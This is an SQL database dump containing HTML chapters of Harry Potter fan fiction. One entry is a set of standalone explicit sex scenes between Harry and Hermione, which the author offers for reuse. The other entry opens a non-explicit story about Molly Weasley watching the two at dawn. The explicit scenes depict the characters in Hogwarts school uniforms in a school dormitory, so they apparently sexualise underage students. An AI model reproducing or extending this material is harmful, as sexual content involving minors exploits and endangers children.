style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N So this is the\ntrue last chapter.&nbsp; A very special thank\nyou to all the reviewers of &#8220;The Mage Knights&#8221; who made this sequel\npossible.&nbsp; And a special thank you to\nall the reviewers of this fic.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(124, 1, '\n\n\n\n<p class="MsoNormal">Author&#8217;s Note:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">All of these scenes may be used in your fic, however you see\nfit, as long as it is a HARRY/HERMIONE pairing.&nbsp; I wrote these specifically for the H/Hr pairing, and they should <b><i>not</i></b> be used for any\nother.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On a lighter note: All of these were written to torture\nNappa while he was at work.&nbsp; In the\nspirit of torturing him and giving him what he wanted at the same time, I\nwrote.&nbsp; There is no plot to any of them,\nnothing before or after.&nbsp; The start\nwhere the first word is, and end where it stops.&nbsp; You can write the story to go around it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Once again, feel free to use them for your own stories, just\ngive me the credit, and send me the link.&nbsp;\nI would like to read what my stuff is being used for.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cheers!</p>\n\n<p class="MsoNormal">~*~Professor Granger~*~</p>\n\n\n\n\n\n\n'),
	(124, 2, '\n\n\n\n<p class="MsoBodyTextIndent">They stood, facing each other, almost unsure of\nwhere to go next.&nbsp; Within a few seconds,\ntheir relationship had changed forever.&nbsp;\nIt wasn&#8217;t bad, just different.&nbsp;\nHe probed her eyes with his, and in them found all the answers he\nneeded.&nbsp; She was his, and he belonged to\nher.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Slowly, he leaned down and kissed\nher again, moving his lips slowly in rhythm with his.&nbsp; She opened her mouth and let his tongue explore, while she\nmimicked his actions.&nbsp; Through their\nschool uniforms, she could feel his arousal, and she sank to her knees.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">She looked up at him, love sparking\nin her amber eyes.&nbsp; She reached forward\nand touched him through the thick denim, and he moaned in response.&nbsp; She massaged him for a few seconds before\nslowly unzipping the front of his school trousers.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Immediately, his erection sprung\nfree of the restrictive fabric.&nbsp; Once\nagain she looking into his sparkling emerald eyes, and without breaking eye\ncontact, took the whole of his arousal into her mouth, sucking slightly.&nbsp; He closed his eyes and leaned back, enjoying\nthe multiple sensations she was giving him.&nbsp;\n</p>\n\n<p class="MsoBodyTextIndent">After a while, he grasped her head and pulled her\nupright.&nbsp; He leaned forward for another\nkiss, more passionate this time, and raised his hands to unbutton her\nblouse.&nbsp; Shortly, they were both naked,\nand he pulled her on top of him on his bed, and closed the curtains, adding a\nsilencing spell and shield with a gesture.&nbsp;\nHe rolled on top of her, marveling at how soft her skin was, and how\nbeautiful she was under the many layers of the Hogwarts uniforms.&nbsp; She was perfect.&nbsp; Once again he captured her mouth with his in a gentle, soft,\nloving kiss.</p>\n\n<p class="MsoBodyTextIndent">She moaned in response and eased her legs apart\npreparing herself to accept all of him for the fist time.&nbsp; The textbooks had said that there would be\npain the first time he entered her, but it was anything but painful.&nbsp; It was wonderful, magnificent, beautiful,\nmajestic.&nbsp; He started to move inside\nher, and it was the best thing she had ever experienced, better even than the\nfirst piece of homework that they had gotten back.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Within minutes, he was crying her\nrelease, and shooting a stream of hot liquid deep inside of her.&nbsp; Her own release soon followed, and they both\nlay back on the bed gasping for breath and letting their hands roam.&nbsp; He smiled into her hair, pulled her close to\nhis body, and they fell asleep tangled in each other&#8217;s arms.</p>\n\n\n\n\n\n\n'),
	(124, 3, '\n\n\n\n<p class="MsoNormal">Their\nkiss was deep, passionate and highly arousing.&nbsp;\nTime crawled by and Harry could feel his trousers getting tighter by the\nsecond.&nbsp; He moaned in Hermione\'s mouth,\nand she responded by pressing herself harder against him.&nbsp; He could feel her stiff nipples against his\nchest, and had no doubt that she could feel his erection pressing against her\nsoft thighs.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They broke off the kiss when they both needed air.&nbsp; Hermione ran her hands lower and lower, and\nshe rubbed his throbbing arousal through the linen of his pants.&nbsp; He gasped, and after an eternity, she\nunbuttoned the fabric, freeing him from all constraints.&nbsp; Slowly, she lowered her mouth to the head,\nlicking the salty liquid that had already accumulated, and sucking\nlightly.&nbsp; He tangled his hands into her\nhair as she toyed with his head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally, she took pity on him and took the entire shaft into\nher mouth.&nbsp; He arched his back and had\nto bite back a scream of ecstasy, lest anyone hear them.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He was on the brink of exploding when she lifted off, meeting\nhis glazed, emerald green eyes and licking her lips.&nbsp; He pounced, flipping her onto her back and inverting her\nskirt.&nbsp; He ripped open her blouse and\nkneaded her breasts desperately, sucking savagely on each.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry,&#8221; she moaned, &#8220;I want to feel you.&nbsp; Now.&#8221;&nbsp;\n</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">He growled in her ear and reached down, forcing her legs\napart with gentle pressure.&nbsp; He swept\nthe thin band of white cotton aside and guided himself to her entrance.&nbsp; As soon as she felt him, she wrapped her\nslender legs around his hips and pulled him to her, crying out once he was\nburied in her body.&nbsp; He pounded into her\nas fast as he could, her hips rocking with all of the force she could.</p>\n\n<p class="MsoBodyText">&nbsp;</p>\n\n<p class="MsoBodyText">Within minutes, he reached his peak, and exploded inside\nof her.&nbsp; Seconds later, she followed,\nand they both collapsed on the bed in a heap of tangled clothes, limbs and\nsheets.</p>\n\n\n\n\n\n\n'),
	(124, 4, '\n\n\n\n<p class="MsoNormal">She\nstared up into his eyes as her hands wandered lower on his soft skin.&nbsp; After a few seconds, they found their\ntarget.&nbsp; He gasped as she grabbed his\nquivering shaft and started to massage it.&nbsp;\nHe moaned and planted a kiss on her lips.&nbsp; He tried to pull her hands away, but she only kept continuing,\nher rhythm speeding up to match his moans.&nbsp;\nIt was all he could to stay standing.&nbsp;\nFinally, he collapsed, conveniently onto the bed that was behind\nthem.&nbsp; Once he was down, she kissed her\nway along his chest, and let her mouth continue the work her hands had been\ndoing.&nbsp; Within a few seconds, he was\nscreaming her name as he reached his climax.</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(125, 1, '\n\n\n\n<p class="MsoTitle">Epiphanies </p>\n\n(Prologue)&nbsp; Dawn at The Burrow\n\n<p class="MsoBodyTextFirstIndent">The first rays of the rising sun broke out over\nthe horizon surrounding the still-sleeping town of Ottery St. Catchpole. The\nbreaking sun cast its light on the small hills surrounding the village &#8212; and on\nthe chimneys on the roof of a large, rather ramshackle house on the outskirts\nof the village. At first glance, the house looked as if it had once been a\nlarge stone pigpen, but rooms had been added here and there until it was\nseveral stories high &#8230; and so crooked that anyone seeing it for the first time\nwould think that it was being held up by magic.</p>\n\n<p class="MsoBodyTextFirstIndent">As the sun rose further, a stray beam of\nsunlight illuminated a small rise standing to one side of the house &#8211; a small,\ngrassy lump of soil and rock that stood close to the edge of the gardens\nsurrounding the house. An ancient stone bench (actually, two slabs of stone set\nupright with a longer slab on top of these) had been placed on the rise,\nallowing anyone sitting there to enjoy a view of the rising sun as it welcomed\na new dawn.</p>\n\n<p class="MsoBodyTextFirstIndent">On this particular day, the rising sun showed\ntwo figures on the bench. They were so still that a casual observer would have\nmistaken them for the concrete gnomes populating many a garden around the\ncountry.&nbsp; A closer look, however, would\nhave revealed that these were definitely <u>not</u> gnomes.</p>\n\n<p class="MsoBodyTextFirstIndent">One figure was a rather petite and slim girl,\nwith bushy brown hair streaming over her back, wrapped in a red-and-gold\nQuidditch robe. Chocolate-brown eyes looked out on the rising sun, slim hands\nclutched tightly at the robe around her shoulders. The other was a\nmedium-height teenaged boy with black, unruly hair, wearing glasses which\nreflected back the light of the rising sun. If one could look behind those\nglasses, one would have seen brilliant, emerald-green eyes that stared out at\nthe lightening ground, seemingly seeing nothing but, in fact, acutely aware of\ntheir surroundings.</p>\n\n<p class="MsoBodyTextFirstIndent">They&#8217;d been sitting in companionable silence in\nthe garden for some time, waiting quietly for the dawn to break.&nbsp; The boy had woken up earlier and couldn&#8217;t\nsleep; rather than laze around for a lie-in, he had decided to step outside and\nenjoy the silence and calmness of the remaining night. </p>\n\n<p class="MsoBodyTextFirstIndent">Silently he had crept out of his bed in the\ncramped bedroom, putting on a maroon sweater with a lion knitted on the front,\nand pausing only to grab a scarlet Quidditch robe from his trunk before\nstealing out of the house, and into the cool air of the night.&nbsp; He had been sitting on the bench for only a\nfew minutes when he felt the presence of someone moving around in the garden.</p>\n\n<p class="MsoBodyTextFirstIndent">Startled, he had looked up into a pair of\nsleepy brown eyes framed by bushy brown hair. The girl looked as if she were\nsleep-walking &#8211; except her eyes were wide open.&nbsp; She silently stopped beside him, and sat down on the bench,\ncareful to keep some space between them. </p>\n\n<p class="MsoBodyTextFirstIndent">No words were exchanged &#8211; nor were words needed\nto be said.&nbsp; They were friends &#8230; the\nbest of friends, who sometimes seemed to communicate at a level where words\nwere irrelevant.</p>\n\n<p class="MsoBodyTextFirstIndent">After a while, he felt the girl shivering; her\nnightdress, while comfortable for sleeping in a warm and cozy bed, was\ndecidedly <u>not</u> suited for a cold stone bench with a soft but cooling\nbreeze blowing.&nbsp; Silently, he removed\nhis robe and&nbsp; wrapped it around her, at\nthe same time, rubbing her arms through the fabric to help her warm up &#8211; she\nlooked up at him and smiled, stopping him from his actions.</p>\n\n<p class="MsoBodyTextFirstIndent">She wrapped the robe more closely around her,\nand leaned gently against him.&nbsp; He\nshifted a bit, unconsciously shielding his companion from the wind, and placed\nan arm around her back to provide some support as she tried to slump\ncomfortably on the backless bench.</p>\n\n<p class="MsoBodyTextFirstIndent">Nothing needed to be said as they both waited\nfor the dawn.</p>\n\n<p class="MsoBodyTextFirstIndent">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;</p>\n\n<p class="MsoBodyTextFirstIndent">Neither one knew that someone was watching them\nwith great interest. </p>\n\n<p class="MsoBodyTextFirstIndent">She was a rather plump woman with a very\npleasant demeanor at most times (only her family and their closest friends knew\nhow swiftly that could change into a rampaging tiger when aroused) who was\nwatching the scene from a large bedroom in an upper story.&nbsp; She had a wide smile on her face as she\nwatched the two sitting on the bench. &#8216;How romantic,&#8217; she sighed, and laughed\nsoftly to herself.&nbsp; Generations of\nWeasleys had sat on that same bench over the centuries, either watching the\nrising or the setting of the sun, or contemplating the stars and the moon on\nmany a warm (or even cold) night ... and sometimes, sometimes, letting the\nmagic of the spot pull them into a kiss &#8211; or a promise.</p>\n\n<p class="MsoBodyTextFirstIndent">In fact, her husband Arthur had proposed to her\non that very same bench, one cool and breezy summer night over thirty years\nago.&nbsp; (&#8216;Admit it,&#8217; she admonished\nherself , &#8216;you were just as ready to propose to him if he hadn&#8217;t made the first\nmove. That bench really has something going for it &#8230;&#8217;)</p>\n\n<p class="MsoBodyTextFirstIndent">She smiled at the memory and half-turned to\ncall Arthur to join her. She stopped when she saw the empty bed; her husband\nand Percy had been called to the Ministry of Magic for some emergency or other\nat 3:30 in the morning.&nbsp; Arthur had\nshaken her awake to tell her that he was leaving, and had given her a kiss\nbefore Apparating out of the house.</p>\n\n<p class="MsoBodyTextFirstIndent">She had been unable to sleep since then, and\nhad been sitting at the window of the darkened room, looking out at the stars\nwhen she saw the boy walk out to the bench.&nbsp;\nShe wondered if she should go down and talk to him (&#8216;Goodness knows, he\nneeds someone to talk with after what happened during the year,&#8217; she thought)\nbut decided to wait for a little bit. It was a good thing, too; less than five\nminutes later, she saw the brown-haired girl stepping out of the house and\nwalking towards the bench.</p>\n\n<p class="MsoBodyTextFirstIndent">The only problem, she sighed, was that neither\none of the two sitting on the bench was a Weasley.&nbsp; The boy was Harry Potter, better known in wizarding circles as\n&#8216;The Boy Who Lived,&#8217; Seeker for the Gryffindor House Quidditch team,&nbsp; Hogwarts Champion and winner of the recent\nTri-Wizard tournament --&nbsp; and the only\nperson in the entire wizarding world who had come up against the Dark Lord <i>four</i>\ntimes &#8211; and lived to tell the tale.</p>\n\n<p class="MsoBodyTextFirstIndent">And incidentally, her youngest son&#8217;s best\nfriend.</p>\n\n<p class="MsoBodyTextFirstIndent">The girl was Hermione Granger, a Muggle-born\nwitch who was at the head of their class academically,&nbsp; a very bright but extremely nice young girl\nwho was also Harry and Ron&#8217;s other best friend.&nbsp; She smiled as she remembered her other children calling them\neither &#8220;The Trio,&#8221; or the &#8220;Dream Team.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">She shivered slightly as she recalled the\nadventures and near-death experiences the three, especially Harry, had gone\nthrough in the past four years.&nbsp; To\nthink that so much has happened to children barely in their teens! They should\nbe enjoying themselves now, doing the things that wizarding children their age\nshould be doing &#8230; not walking around with the weight of the world on their\nshoulders.</p>\n\n<p class="MsoBodyTextFirstIndent">Or, perhaps, on <i>Harry&#8217;s</i> shoulders.</p>\n\n<p class="MsoBodyTextFirstIndent">She muttered darkly to herself. She wondered\nwhat sort of Divinity there was to have placed such a burden on the young boy &#8230;\nparents killed when he was barely a year old by the Dark Wizard, Lord\nVoldemort, for reasons still unclear &#8230; Voldemort turning his wand on the baby\nHarry to kill him, too &#8230; the curse rebounding on the Dark Lord, and rendering\nYou-Know-Who (even she could not say <i>his </i>&nbsp;name out loud) a mere shadow of his evil, corrupt self. </p>\n\n<p class="MsoBodyTextFirstIndent">Many in the wizarding world looked up to Harry\nPotter as a hero, because of that first abortive encounter with the Dark Lord,\nwhich had led to over a decade of serenity and quiet after that incident &#8230; long\nyears of peace that more than compensated for the years of terror when\nVoldemort was at his prime.</p>\n\n<p class="MsoBodyTextFirstIndent">Very few wizards or witches, however, knew of\nthe emerging threat of a revived Dark Lord, which had started the year that\nHarry Potter re-joined the wizarding world when he went to Hogwarts &#8211; an\nattempt&nbsp; by the still-weakened Voldemort\nto steal the Sorcerer&#8217;s Stone in Harry&#8217;s first year &#8230;&nbsp; the opening of Salazar Slytherin&#8217;s Chamber of Secrets in his\nsecond year &#8230; making use of the revived Tri-Wizards Tournament to trap Harry\nand use him in ensuring You-Know-Who&#8217;s resurrection to flesh-and-blood life.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly knew of these developments, in part because\nof her son Ron&#8217;s involvement in these adventures with Harry Potter and Hermione\nGranger &#8230; and also because the emerging evil had struck directly at her family\nin the Trio&#8217;s second year at Hogwarts.&nbsp;\nIt was <i>Harry</i> who rescued her youngest child and only daughter,\nGinny, from the Chamber of Secrets.&nbsp;\nWorking with clues provided by the brainy Hermione (who had provided\nHarry with a vital piece of the puzzle even when Petrified and in the\nhospital), and the able (although reluctant) support of Ron and his Spell-o-taped\nwand, Harry had gone into the Chamber after Ginny &#8211; emerging triumphant, and\nbearing with him the sword of Godric Gryffindor.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly Weasley shuddered again at the\nmemories.&nbsp; There were times when she\nwondered whether Ron&#8217;s friendship with The Boy Who Lived was a blessing -- or a\ncurse. Ron, a normal (for wizards) 16-year old boy should have been enjoying\nthe summer with his family and what friends he would have had at that age,\nrather than being involved in more adventures and than most older wizards did\nin their whole lifetimes! He&#8217;d already been confined to the Hogwarts&#8217; hospital\nwing once in his third year, when most students never even <i>saw </i>what the\nhospital looked like.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione herself had been confined in the\nhospital in her second year; however, being Petrified, she had no knowledge or\nawareness of what happened until she was revived with Mandrake potion &#8211; after\nwhich Madam Pomfrey, the Hogwarts&#8217; nurse, allowed her to go off immediately to\nthe Great Hall for the celebratory feast.</p>\n\n<p class="MsoBodyTextFirstIndent"><i>Harry</i>, on the other hand, had been in\nthe hospital wing at least <i><u>once</u> </i>for every<i> <u>year</u> </i>he\nhad been in Hogwarts.&nbsp; The Weasley\ntwins, Fred and George, often teased him about naming the Hogwarts&#8217; hospital\n&#8220;The Harry Potter Hospital Wing&#8221; in his honor.</p>\n\n<p class="MsoBodyTextFirstIndent">There was no doubt that Harry had been very\nlucky.&nbsp; Molly wondered, however, whether\nHarry&#8217;s luck will one day run out &#8211; and drag one or both of his friends down\nwith him.&nbsp; Deep down, she hoped that it\nwould not be Ron &#8230; losing a child was something she could barely comprehend &#8211;\nor even contemplate.</p>\n\n<p class="MsoBodyTextFirstIndent">&#8216;What am I thinking about?&#8217; she said to herself\nsavagely. &#8216;First, it <i>isn&#8217;t</i> Harry&#8217;s fault at all. More importantly, I &#8230;\nno, <i><u>we</u></i> owe him a life.&nbsp;\nThe <i>family</i> owes him <i>Ginny&#8217;s</i> life! If it were not for Harry\n&#8230;&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">She turned away from the window, tears\nprickling at her eyes,&nbsp; to look at a\npicture on her bedside drawer. It had been taken soon after she had given birth\nto Ginny; she saw a younger self with a baby Ginny in her arms, waving at the\ncamera.</p>\n\n<p class="MsoBodyTextFirstIndent">Arthur and Molly had both resigned themselves\nto a household full of boys, a round half-dozen of them. While she was happy\nwith it, Molly had been secretly hoping for a girl &#8230; someone to whom she could\npass on her precious hope chest (it had been passed down from eldest daughter\nto eldest daughter in her household for centuries, slowly accumulating a wealth\nof tapestries, photographs and memories that she had been loath to let go, even\nwhen money was tight), a daughter to whom she would teach all the secrets of\nher own fabulous cooking and the running of a household &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">But there were moments like this, sitting in\nthe dark with Arthur out on another midnight emergency for the Ministry of\nMagic, when she wondered whether her deep-seated desire to have a daughter was\nan indulgence it would have been better to forego.</p>\n\n<p class="MsoBodyTextFirstIndent">There were already six little Weasleys when\nGinny came along &#8211; money was already very tight, with Arthur not getting the\npromotions he deserved because of his over-fondness for Muggles. And yet, Molly\nhad <i>so</i> wanted a daughter that she had thrown caution to the winds, and\nmade one more try with Arthur &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">She smiled with nostalgia as she remembered\nwaking up in St. Mungo&#8217;s, and the medi-witch excitedly telling her, &#8220;It&#8217;s a\ngirl!&#8221; &#8230; the goofy, happy grin on Arthur&#8217;s face as he kissed her (&#8216;Thank God,&#8217;\nshe thought, &#8216;that Arthur had wanted a girl as much as I did!&#8217;) &#8230; the day she\nbrought Ginny home from the hospital &#8230; the wondering look in the eyes of her\neldest son Bill as he contemplated this new addition to the family. The other\nboys were really too young then to understand &#8230; but Bill &#8230; Molly remembered the\nway Bill had held the Ginny in his arms, as if he was cradling a basket full of\nspun glass &#8230; </p>\n\n<p class="MsoBodyTextFirstIndent">Molly sniffed a little at the memory.&nbsp; She missed Bill, who had been working for\nsome time as a curse-breaker at Gringott&#8217;s in Egypt.&nbsp; Her eldest had an unusually well-developed sense of\nresponsibility even as a boy; it was Bill that she had turned to in order to\nkeep her rowdy brood in line, Bill who had watched over his younger brothers as\nshe went about her daily chores &#8230; and Bill who had taken over much of the\ncaring for the baby girl that she loved.</p>\n\n<p class="MsoBodyTextFirstIndent">As the boys grew older, however, it seemed that\nit was only Bill who maintained his unrestrained and open affection for the\nyoungest Weasley.&nbsp; Not that the others\nhad no use for little Ginny ...&nbsp; it was\njust that whatever love and affection they had for her was overshadowed by\ntheir own personalities.</p>\n\n<p class="MsoBodyTextFirstIndent">Charlie, for example, had been as unrestrained\nand affectionate towards Ginny as Bill had ever been; he was just too obsessed\nwith Dragons and Quidditch to give Ginny the care and concern that Bill gave\nwithout reservation. Percy &#8230; Percy&#8217;s sense of responsibility was firmly focused\non his &#8220;career&#8221; (a game plan which will culminate in becoming the youngest ever\nMinister of Magic). Percy, therefore, tended to treat Ginny as if she were a\nsubordinate, rather than his youngest sister.</p>\n\n<p class="MsoBodyTextFirstIndent">The Twins &#8230; were as they had always been:\ninveterate jokers, quick with a pun or a joke (sometimes to the point of utter\ndisrespect), and, too often, a reckless tactlessness that often got them into\ntrouble &#8230; and, too often, inadvertently embarrassing Ginny.</p>\n\n<p class="MsoBodyTextFirstIndent">And Ron &#8230; Ron had been the most insecure of the\nbrothers &#8211; probably because it was so difficult to find his own place in the\nsun, given that he had <i>five</i> brothers who had the opportunity to do\neverything before he did it.&nbsp; That same\ninsecurity led to a confused relationship with his youngest sibling:\nalternately affectionate and caring, teasing and embarrassing, tactless and bossy\n&#8211; which wasn&#8217;t helped by having a hair-trigger temper too easy to rouse.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly Weasley heaved another deep sigh (she was\nhaving one of those days again, she knew. But there was nothing to do now but\nto let it all out &#8230;)</p>\n\n<p class="MsoBodyTextFirstIndent">Still &#8230; no matter the jokes played on her by\nher older brothers, no matter the endless teasing they had given her during her\nformative years &#8230; there was no denying the love and affection the brothers had\nfor their youngest sibling.&nbsp;&nbsp; &#8216;Even if,&#8217;\nshe thought to herself, &#8216;one had to dig deep for it.&#8217;</p>\n\n<p class="MsoBodyTextFirstIndent">As had happened the day they learned that Ginny\nhad disappeared, kidnapped by the unknown horror that lived within Salazar\nSlytherin&#8217;s Chamber of Secrets.</p>\n\n<p class="MsoBodyTextFirstIndent">She could recall with vivid and horrible detail\nthat day &#8230; Arthur, shaken and very, very pale, Apparating at The Burrow, and\nleading her to the couch to tell her what had happened &#8230; her fainting when told\nof what was contained in the owl that Percy had sent to his father &#8230; the slow\nflight to Hogwarts on their ancient broomsticks as both she and Arthur were too\ndistraught to try Apparating to Hogsmeade &#8230; the slow walk to McGonagall&#8217;s\noffice, avoiding the sympathetic looks from students and teachers &#8230; again,\nbreaking down inside McGonagall&#8217;s office when she saw Albus Dumbledore looking\nshell-shocked himself, but trying to hold out some hope that she knew in her\nheart was false &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">And that incredible moment when the door to the\noffice opened and Fawkes the phoenix flew in, leading Harry, Ron and a shaken\nand crying Ginny into the room. </p>\n\n<p class="MsoBodyTextFirstIndent">Ginny was extremely pale and thin, having been\nheld in the Chamber for almost a day without food or water.&nbsp; The front of her robes were wet from the\nriver of tears she had been shedding since Harry woke her up from her enchanted\nsleep, after burying the basilik&#8217;s fang in Tom Riddle&#8217;s enchanted diary, thus\nbreaking the spell that had held her for so long.</p>\n\n<p class="MsoBodyTextFirstIndent">Ron, caked in mud and dust from trying to move\nrocks and stones around the ruined tunnel to make an opening into the Chamber\nof Secrets, also pale and shaken from the ordeal &#8230; but not as much as Harry.</p>\n\n<p class="MsoBodyTextFirstIndent">And Harry Potter, barely thirteen years old,\ncovered in slime and the blood of the basilisk, clutching in one hand the\nruined diary of the young Voldemort (or Tom Riddle as he was then known), a\njewel-encrusted sword and the school&#8217;s Sorting Hat tucked in his belt,\nexhausted but still half-dragging, half-carrying a still-sobbing Ginny Weasley.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly could remember every detail of the\nincredible story that Harry told them all that night. Later that evening, she\nand Arthur had related the story to the rest of the family: Bill and Charlie,\nwho had Apparated in from Egypt and Romania, fully expecting never to see their\nbeloved sister again; Percy, Fred and George who had opted out of the\ncelebratory feast in the Great Hall to be with their sister as she slept in the\nhospital wing. Only Ron wasn&#8217;t there &#8211; he had been with Harry&nbsp; and Hermione during the feast, a celebration\nthat he so richly deserved, having shared the dangers of the Chamber with\nHarry.</p>\n\n<p class="MsoBodyTextFirstIndent">As Molly ended the narrative, she could see the\nlooks being exchanged by the brothers, and the glances they were giving their\nsleeping sister. Without a word being spoken, they had all reached a silent\nagreement: there was now a new member of their family, and they would be extending\nthe same love and protection they had always given their sister, to Harry\nPotter.</p>\n\n<p class="MsoBodyTextFirstIndent">And, to Hermione Granger.&nbsp; </p>\n\n<p class="MsoBodyTextFirstIndent">Molly remembered with fondness the family&#8217;s\ntrip to Egypt that same summer, helped by the incredible luck of Arthur&#8217;s\nwinning the annual Daily Prophet&#8217;s Grand Prize Galleon Draw.&nbsp; It had given all of them a chance to\nrecuperate, to mend the pains and memories of the previous year, especially the\nguilt felt by Percy, the twins, and Ron for their constant teasing of Ginny\nduring the school year, and not paying enough attention to her to prevent her\nfrom being enchanted by the diary of the twice-be-damned Tom Riddle.</p>\n\n<p class="MsoBodyTextFirstIndent">It was during one dinner in Cairo that Ginny,\nwho had studiously avoided discussing the Chamber of Secrets all the time,\nsuddenly asked Ron how he and Harry were able to find her in the nick of time.\nAlthough she had been in McGonagall&#8217;s office when the tale was first told,\nlittle had penetrated her numbed brain.&nbsp;\nLater, of course, she had been under a Dreamless Potion when the story\nwas told to the rest of the family.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly could still hear Ron&#8217;s voice in her mind:\n&#8220;I don&#8217;t mind telling you, Ginny, that if Harry hadn&#8217;t found that page in\nHermione&#8217;s hand when we visited her in the hospital, we wouldn&#8217;t have known\nwhere to start.</p>\n\n<p class="MsoBodyTextFirstIndent">&nbsp;&#8220;That\nwas the key, Ginny,&#8221; Ron continued. &#8220;When Harry and I read it, everything fell\ninto place.&nbsp; What Aragog had told us\nabout a girl being killed by the basilisk in the girl&#8217;s bathroom on the first\nfloor, the fact that Moaning Myrtle had died in that same bathroom, and so on.\nWe <i>knew</i> that the entrance could only be through Moaning Myrtle&#8217;s\nbathroom &#8230; something which we confirmed when we asked Myrtle how she had died.&#8221;</p>\n\n<p class="MsoBodyTextFirstIndent">As the tale ended, Molly caught the glances and\nlooks being exchanged by the older brothers with their father, and then\nherself. Again without words, a silent agreement was reached: Hermione was now\na member of their family, and would be given the same affection, protection and\nrespect that they were giving to Harry and Ginny.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly knew that it was for this reason that the\nolder brothers and Arthur had scrimped every stray Knut they could get their\nhands on, as well as Arthur practically twisting and threatening to break arms\nand legs in the Ministry, in order to get the prized seats for the Quidditch World\nCup.</p>\n\n<p class="MsoBodyTextFirstIndent">It was worth it, they all thought. It was an\nopportunity for the whole family to gather &#8211; and for Bill and Charley to get to\nknow the newest members of the family &#8230; the members to whom they owed their\nsister&#8217;s life.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly glanced out the window and saw that the\nday was well and truly started, with the sun finally breaking out on the\nhorizon, lighting even the corners of her darkened room.&nbsp; She should go down to start breakfast for\nher family, but hesitated for a moment.&nbsp;\nShe knew that the moment Harry and Hermione heard her clattering around\nthe kitchen, the two of them would be in there trying to help out &#8230; even though\nthere was not that much help needed in her magic-run kitchen.</p>\n\n<p class="MsoBodyTextFirstIndent">She was loath to see them doing chores around\nthe house; they were <i>family</i>, after all, but she knew that there was\nlittle she could do to stop them. Hermione had been too well brought up by her\nMuggle parents to impose herself on a household where she was, after all, a\nguest. Harry, on the other hand, would also feel uncomfortable doing nothing to\nhelp in a household where he truly felt he <i>belonged</i>.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly decided to give the two a few more\nminutes of leisure, and walked to the window to see what they were doing.\nGlancing outside, she smiled at what she saw &#8230;</p>\n\n<p class="MsoBodyTextFirstIndent">Harry still had his arm around Hermione&#8217;s back,\nsupporting her, while Hermione&#8217;s head with its bushy brown hair was also\nresting on Harry&#8217;s shoulder, leaning back against Harry. She also had one arm\naround Harry&#8217;s waist, as if <i>she </i>&nbsp;was supporting him.&nbsp; Harry,\nhowever, appeared to be resting his cheek on top of her head &#8211; seemingly\nrelaxed and contented just sitting there with his best friend.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly studied them closely, and was surprised\nas a wave of mingled disappointment and hope passed through her mind.</p>\n\n<p class="MsoBodyTextFirstIndent">It <i>should</i> have been a most romantic pose\nfor the two young people. And yet, Molly could not feel any sense, or <i>aura</i>,\nof <i>romance</i> emanating from the two. It just seemed to be a very &#8230; <i>comfortable</i>,\n<i>contented</i> &#8230; even <i>warm</i> pose for the two. Nothing more, nothing\nless.</p>\n\n<p class="MsoBodyTextFirstIndent">Nothing romantic &#8230; nothing sensual about it.</p>\n\n<p class="MsoBodyTextFirstIndent">They were two people sharing a moment of\ncomfort together. </p>\n\n<p class="MsoBodyTextFirstIndent">Best friends, definitely. <i>More</i> than best\nfriends &#8230; and Molly realized that only time will tell.</p>\n\n<p class="MsoBodyTextFirstIndent">Molly felt a slight ray of hope beating in her\nheart. The more she got to know those two, the more she hoped &#8211; and yes, she\nadmitted to herself, <i>prayed</i> and prayed <i>hard </i>&#8211; that they would\nbecome really, <i>truly</i>, members of her family.</p>\n\n<p class="MsoBodyTextFirstIndent">Hermione&#8217;s coolness and logic were the perfect\nbalance to Ron&#8217;s impulsive nature and fiery temper.&nbsp; Her intelligence also was not to be sneezed at; at the same time,\nMolly dismissed Ron&#8217;s oft-said complaints about Hermione&#8217;s bossy nature and\ntendency to run to the library whenever confronted with a problem.&nbsp; He <i>needed</i> someone like that to keep\nhim focused on the important things &#8230; he still hadn&#8217;t realized that being born\na wizard to an ancient and honorable wizarding family was <i>never </i>enough.</p>\n\n<p class="MsoBodyTextFirstIndent">Nothing would ever replace knowledge and\nunderstanding of how the wizarding world and magic 